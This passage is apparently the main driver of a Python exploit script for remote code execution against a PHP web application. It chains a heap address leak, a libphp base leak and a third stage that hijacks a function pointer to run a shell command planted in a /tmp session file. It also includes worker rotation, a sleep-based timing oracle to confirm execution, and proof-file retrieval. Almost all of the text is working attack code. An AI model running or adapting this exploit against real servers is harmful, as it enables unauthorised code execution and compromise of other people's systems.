args.cmd = f"sh</tmp/sess_{args.payload_sid}"
t.log(f"[*] payload delivered via /tmp/sess_{args.payload_sid} "
f"(executed as: {args.cmd})")
t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
def rotate_after_failure() -> None:
if not args.no_retry_rotate:
ex.rotate()
if not args.no_pre_rotate:
ex.rotate()
# ---- stage 1 ----
chunk = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
chunk = ex.stage1()
if chunk:
t.log(f"[+] chunk base = 0x{chunk:x}")
break
t.log("[-] heap leak missed")
rotate_after_failure()
if not chunk:
print("HEAP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate() # each stage needs a fresh worker
# ---- stage 2 ----
libphp = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
libphp = ex.stage2()
if libphp:
t.log(f"[+] libphp base = 0x{libphp:x}")
break
t.log("[-] libphp leak missed")
rotate_after_failure()
if not libphp:
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate()
# ---- stage 3 ----
htdata = chunk + args.htdata_offset
zif = libphp + args.zif_offset
t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
proof = ""
baseline = None
if args.probe_sleep is not None:
# Phase C timing oracle: measure the target's normal response time
baseline = None
for _ in range(2):
t0 = time.monotonic()
try:
t.get(t.path)
dt = time.monotonic() - t0
baseline = dt if baseline is None else min(baseline, dt)
except OSError:
pass
if baseline is None:
baseline = 0.5
t.log(f"[*] timing baseline: {baseline:.2f}s (probe needs "
f">{baseline + args.probe_sleep - 1.0:.1f}s)")
if args.proof_file:
try:
if os.path.exists(args.proof_file):
os.unlink(args.proof_file)
except OSError:
pass
for attempt in range(1, args.retries + 3):
t0 = time.monotonic()
try:
ex.stage3(htdata, zif)
except OSError as e:
t.log(f"[-] request error: {e}")
elapsed = time.monotonic() - t0
time.sleep(0.8)
# Phase C probe channel: the fire is proven by the delayed response
if args.probe_sleep is not None and baseline is not None:
need = baseline + max(1.0, args.probe_sleep - 1.0)
if elapsed >= need:
proof = (f"PROBE_OK (stage-3 response delayed {elapsed:.1f}s vs "
f"baseline {baseline:.2f}s; system('sleep {args.probe_sleep:g}') ran)")
if args.proof_file:
try:
if os.path.exists(args.proof_file):
with open(args.proof_file, "rb") as f:
proof = f.read().decode("latin1").strip()
except OSError:
pass
if not proof and args.fetch:
status, body = t.get(args.fetch)
if status == 200:
proof = body.decode("latin1").strip()
if proof:
t.log(f"[+] W3 attempt {attempt}")
print(f"PROOF: {proof}")
return 0
t.log(f"[-] stage 3 attempt {attempt} no proof yet")
rotate_after_failure()
if args.probe_sleep is not None:
print(f"PROBE_FAILED (no stage-3 response delay observed in "
f"{args.retries + 2} attempts; system('sleep {args.probe_sleep:g}') "
f"did not run — plant missed on this worker generation)",
file=sys.stderr)
else:
print("BLIND_EXECUTED (no proof channel configured: no --proof-file/--fetch; "
"the command may still have executed blind — validate via OOB callback)",
file=sys.stderr)
return 1
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit(130)